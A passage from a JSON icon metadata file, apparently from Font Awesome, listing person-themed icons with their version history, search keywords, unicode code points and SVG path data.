        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zm136 16a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm224 0c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16s7.2 16 16 16H496c8.8 0 16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-plus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["add", "found"]
    },
    "styles": ["solid"],
    "unicode": "e541",
    "label": "Person Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm16 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v48H368c-8.8 0-16 7.2-16 16s7.2 16 16 16h48v48c0 8.8 7.2 16 16 16s16-7.2 16-16V384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H448V304z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-question": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["lost", "missing"]
    },
    "styles": ["solid"],
    "unicode": "e542",
    "label": "Person Circle Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm0 240a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM368 321.6V328c0 8.8 7.2 16 16 16s16-7.2 16-16v-6.4c0-5.3 4.3-9.6 9.6-9.6h40.5c7.7 0 13.9 6.2 13.9 13.9c0 5.2-2.9 9.9-7.4 12.3l-32 16.8c-5.3 2.8-8.6 8.2-8.6 14.2V384c0 8.8 7.2 16 16 16s16-7.2 16-16v-5.1l23.5-12.3c15.1-7.9 24.5-23.6 24.5-40.6c0-25.4-20.6-45.9-45.9-45.9H409.6c-23 0-41.6 18.6-41.6 41.6z"
      }
    },
    "free": ["solid"]
  },
  "person-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dead", "removed"]
    },
    "styles": ["solid"],
    "unicode": "e543",
    "label": "Person Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9L59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l44.9 74.7c-16.1 17.6-28.6 38.5-36.6 61.5c-1.9-1.8-3.5-3.9-4.9-6.3L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H152zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z"
      }
    },
    "free": ["solid"]
  },
  "person-digging": {
    "aliases": {
      "names": ["digging"],
      "unicodes": {
        "secondary": ["10f85e"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bury", "construction", "debris", "dig", "men at work"]
    },
    "styles": ["solid"],
    "unicode": "f85e",
    "label": "Person Digging",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M208 64a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM9.8 214.8c5.1-12.2 19.1-18 31.4-12.9L60.7 210l22.9-38.1C99.9 144.6 129.3 128 161 128c51.4 0 97 32.9 113.3 81.7l34.6 103.7 79.3 33.1 34.2-45.6c6.4-8.5 16.6-13.3 27.2-12.8s20.3 6.4 25.8 15.5l96 160c5.9 9.9 6.1 22.2 .4 32.2s-16.3 16.2-27.8 16.2H288c-11.1 0-21.4-5.7-27.2-15.2s-6.4-21.2-1.4-31.1l16-32c5.4-10.8 16.5-17.7 28.6-17.7h32l22.5-30L22.8 246.2c-12.2-5.1-18-19.1-12.9-31.4zm82.8 91.8l112 48c11.8 5 19.4 16.6 19.4 29.4v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V405.1l-60.6-26-37 111c-5.6 16.8-23.7 25.8-40.5 20.2S-3.9 486.6 1.6 469.9l48-144 11-33 32 13.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M208 64a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM9.8 214.8c5.1-12.2 19.1-18 31.4-12.9L60.7 210l22.9-38.1C99.9 144.6 129.3 128 161 128c51.4 0 97 32.9 113.3 81.7l34.6 103.7 79.3 33.1 34.2-45.6c6.4-8.5 16.6-13.3 27.2-12.8s20.3 6.4 25.8 15.5l96 160c5.9 9.9 6.1 22.2 .4 32.2s-16.3 16.2-27.8 16.2H288c-11.1 0-21.4-5.7-27.2-15.2s-6.4-21.2-1.4-31.1l16-32c5.4-10.8 16.5-17.7 28.6-17.7h32l22.5-30L22.8 246.2c-12.2-5.1-18-19.1-12.9-31.4zm82.8 91.8l112 48c11.8 5 19.4 16.6 19.4 29.4v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V405.1l-60.6-26-37 111c-5.6 16.8-23.7 25.8-40.5 20.2S-3.9 486.6 1.6 469.9l48-144 11-33 32 13.7z"
      }
    },
    "free": ["solid"]
  },
  "person-dots-from-line": {
    "aliases": {
      "names": ["diagnoses"],
      "unicodes": {
        "secondary": ["10f470"]
      }
    },
    "changes": ["5.0.7", "5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["allergy", "diagnosis"]
    },
    "styles": ["solid"],
    "unicode": "f470",
    "label": "Person Dots From Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 176A88 88 0 1 0 288 0a88 88 0 1 0 0 176zM78.7 372.9c15-12.5 50-34.4 97.3-50.1V432H400V322.7c47.3 15.8 82.3 37.7 97.3 50.1c20.4 17 50.6 14.2 67.6-6.1s14.2-50.6-6.1-67.6c-12-10-30.1-22.5-53.2-35C497.2 278.4 481.7 288 464 288c-26.5 0-48-21.5-48-48c0-4.3 .6-8.4 1.6-12.4C379.1 215.9 335.3 208 288 208c-60.2 0-114.9 12.9-160 29.9c0 .7 0 1.4 0 2.1c0 26.5-21.5 48-48 48c-11.8 0-22.7-4.3-31-11.4c-13.1 8.1-23.7 15.9-31.7 22.5c-20.4 17-23.1 47.2-6.1 67.6s47.2 23.1 67.6 6.1zM24 464c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM224 280a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM96 240a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm368 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 176A88 88 0 1 0 288 0a88 88 0 1 0 0 176zM78.7 372.9c15-12.5 50-34.4 97.3-50.1V432H400V322.7c47.3 15.8 82.3 37.7 97.3 50.1c20.4 17 50.6 14.2 67.6-6.1s14.2-50.6-6.1-67.6c-12-10-30.1-22.5-53.2-35C497.2 278.4 481.7 288 464 288c-26.5 0-48-21.5-48-48c0-4.3 .6-8.4 1.6-12.4C379.1 215.9 335.3 208 288 208c-60.2 0-114.9 12.9-160 29.9c0 .7 0 1.4 0 2.1c0 26.5-21.5 48-48 48c-11.8 0-22.7-4.3-31-11.4c-13.1 8.1-23.7 15.9-31.7 22.5c-20.4 17-23.1 47.2-6.1 67.6s47.2 23.1 67.6 6.1zM24 464c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM224 280a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM96 240a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm368 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "person-dress": {
    "aliases": {
      "names": ["female"],
      "unicodes": {
        "secondary": ["10f182"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["man", "skirt", "woman"]
    },
    "styles": ["solid"],
    "unicode": "f182",
    "label": "Person Dress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM88 384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2c20.3-33.7 56.7-54.3 96-54.3h11.6c39.3 0 75.7 20.6 96 54.3l53.6 89.2c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9l-33.9-56.3L265 362.9c3.5 10.4-4.3 21.1-15.2 21.1H232v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H152v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM88 384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2c20.3-33.7 56.7-54.3 96-54.3h11.6c39.3 0 75.7 20.6 96 54.3l53.6 89.2c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9l-33.9-56.3L265 362.9c3.5 10.4-4.3 21.1-15.2 21.1H232v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H152v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z"
      }
    },
    "free": ["solid"]
  },
  "person-dress-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abuse", "accident", "crash", "explode", "violence"]
    },
    "styles": ["solid"],
    "unicode": "e544",
    "label": "Person Dress Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M528 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM390.2 384H408v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h16v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h17.8c10.9 0 18.6-10.7 15.2-21.1L546.7 248.1l33.9 56.3c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-53.6-89.2c-20.2-33.7-56.7-54.3-96-54.3H474.2c-39.3 0-75.7 20.6-96 54.3l-53.6 89.2c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9l33.9-56.3L375 362.9c-3.5 10.4 4.3 21.1 15.2 21.1zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M528 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM390.2 384H408v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h16v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h17.8c10.9 0 18.6-10.7 15.2-21.1L546.7 248.1l33.9 56.3c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-53.6-89.2c-20.2-33.7-56.7-54.3-96-54.3H474.2c-39.3 0-75.7 20.6-96 54.3l-53.6 89.2c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9l33.9-56.3L375 362.9c-3.5 10.4 4.3 21.1 15.2 21.1zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z"
      }
    },
    "free": ["solid"]
  },
  "person-drowning": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drown", "emergency", "swim"]
    },
    "styles": ["solid"],
    "unicode": "e545",
    "label": "Person Drowning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 64c0-17.7-14.3-32-32-32s-32 14.3-32 32V96.2c0 54.1 23.5 104 62.2 138.3l-21 146.7c7.8 2.1 15.5 3.3 22.8 3.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c12.4 8.5 26.1 14.8 39.7 18l17.7-97.6c10.7-1.2 21.3-3.1 31.9-5.5l105-23.9c17.2-3.9 28-21.1 24.1-38.3s-21.1-28-38.3-24.1L400 216.6c-41 9.3-83.7 7.5-123.7-5.2c-50.2-16-84.3-62.6-84.3-115.3V64zM320 192a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM306.5 389.9c-11.1-7.9-25.9-7.9-37 0C247 405.4 219.5 416 192 416c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 469.7 159 480 192 480c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 405.2 410.9 416 384 416c-27.5 0-55-10.6-77.5-26.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 64c0-17.7-14.3-32-32-32s-32 14.3-32 32V96.2c0 54.1 23.5 104 62.2 138.3l-21 146.7c7.8 2.1 15.5 3.3 22.8 3.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c12.4 8.5 26.1 14.8 39.7 18l17.7-97.6c10.7-1.2 21.3-3.1 31.9-5.5l105-23.9c17.2-3.9 28-21.1 24.1-38.3s-21.1-28-38.3-24.1L400 216.6c-41 9.3-83.7 7.5-123.7-5.2c-50.2-16-84.3-62.6-84.3-115.3V64zM320 192a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM306.5 389.9c-11.1-7.9-25.9-7.9-37 0C247 405.4 219.5 416 192 416c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 469.7 159 480 192 480c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 405.2 410.9 416 384 416c-27.5 0-55-10.6-77.5-26.1z"
      }
    },
    "free": ["solid"]
  },
  "person-falling": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["accident", "fall", "trip"]
    },
    "styles": ["solid"],
    "unicode": "e546",
    "label": "Person Falling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 0c17.7 0 32 14.3 32 32l0 9.8c0 54.6-27.9 104.6-72.5 133.6l.2 .3L304.5 256l87.5 0c15.1 0 29.3 7.1 38.4 19.2l43.2 57.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4L384 320l-96 0h-1.4l92.3 142.6c9.6 14.8 5.4 34.6-9.5 44.3s-34.6 5.4-44.3-9.5L164.5 249.2c-2.9 9.2-4.5 19-4.5 29l0 73.8c0 17.7-14.3 32-32 32s-32-14.3-32-32V278.2c0-65.1 39.6-123.7 100.1-147.9C232.3 115.8 256 80.8 256 41.8l0-9.8c0-17.7 14.3-32 32-32zM112 32a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 0c17.7 0 32 14.3 32 32l0 9.8c0 54.6-27.9 104.6-72.5 133.6l.2 .3L304.5 256l87.5 0c15.1 0 29.3 7.1 38.4 19.2l43.2 57.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4L384 320l-96 0h-1.4l92.3 142.6c9.6 14.8 5.4 34.6-9.5 44.3s-34.6 5.4-44.3-9.5L164.5 249.2c-2.9 9.2-4.5 19-4.5 29l0 73.8c0 17.7-14.3 32-32 32s-32-14.3-32-32V278.2c0-65.1 39.6-123.7 100.1-147.9C232.3 115.8 256 80.8 256 41.8l0-9.8c0-17.7 14.3-32 32-32zM112 32a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "person-falling-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["accident", "crash", "death", "fall", "homicide", "murder"]
    },
    "styles": ["solid"],
    "unicode": "e547",
    "label": "Person Falling Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 9.8c0 39-23.7 74-59.9 88.4C71.6 154.5 32 213 32 278.2V352c0 17.7 14.3 32 32 32s32-14.3 32-32l0-73.8c0-10 1.6-19.8 4.5-29L261.1 497.4c9.6 14.8 29.4 19.1 44.3 9.5s19.1-29.4 9.5-44.3L222.6 320H224l80 0 38.4 51.2c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8l-43.2-57.6C341.3 263.1 327.1 256 312 256l-71.5 0-56.8-80.2-.2-.3c44.7-29 72.5-79 72.5-133.6l0-9.8zM96 80A48 48 0 1 0 0 80a48 48 0 1 0 96 0zM464 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 78.7-12.2c6.5-1 11.7-5.9 13.1-12.2s-1.1-13-6.5-16.7l-65.6-45.1L603 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L508.3 92.1l-29.4-74C476.4 12 470.6 8 464 8s-12.4 4-14.9 10.1l-29.4 74L343.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1-65.6 45.1c-5.4 3.7-8 10.3-6.5 16.7c.1 .3 .1 .6 .2 .8l19.4 0c20.1 0 39.2 7.5 53.8 20.8l18.4 2.9L383 265.3l36.2 48.3c2.1 2.8 3.9 5.7 5.5 8.6L464 286.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 9.8c0 39-23.7 74-59.9 88.4C71.6 154.5 32 213 32 278.2V352c0 17.7 14.3 32 32 32s32-14.3 32-32l0-73.8c0-10 1.6-19.8 4.5-29L261.1 497.4c9.6 14.8 29.4 19.1 44.3 9.5s19.1-29.4 9.5-44.3L222.6 320H224l80 0 38.4 51.2c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8l-43.2-57.6C341.3 263.1 327.1 256 312 256l-71.5 0-56.8-80.2-.2-.3c44.7-29 72.5-79 72.5-133.6l0-9.8zM96 80A48 48 0 1 0 0 80a48 48 0 1 0 96 0zM464 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 78.7-12.2c6.5-1 11.7-5.9 13.1-12.2s-1.1-13-6.5-16.7l-65.6-45.1L603 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L508.3 92.1l-29.4-74C476.4 12 470.6 8 464 8s-12.4 4-14.9 10.1l-29.4 74L343.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1-65.6 45.1c-5.4 3.7-8 10.3-6.5 16.7c.1 .3 .1 .6 .2 .8l19.4 0c20.1 0 39.2 7.5 53.8 20.8l18.4 2.9L383 265.3l36.2 48.3c2.1 2.8 3.9 5.7 5.5 8.6L464 286.1z"
      }
    },
    "free": ["solid"]
  },
  "person-half-dress": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gender", "man", "restroom", "transgender", "woman"]
    },
    "styles": ["solid"],
    "unicode": "e548",
    "label": "Person Half Dress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm8 352V128h6.9c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352h0zM58.2 182.3c19.9-33.1 55.3-53.5 93.8-54.3V384h0v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
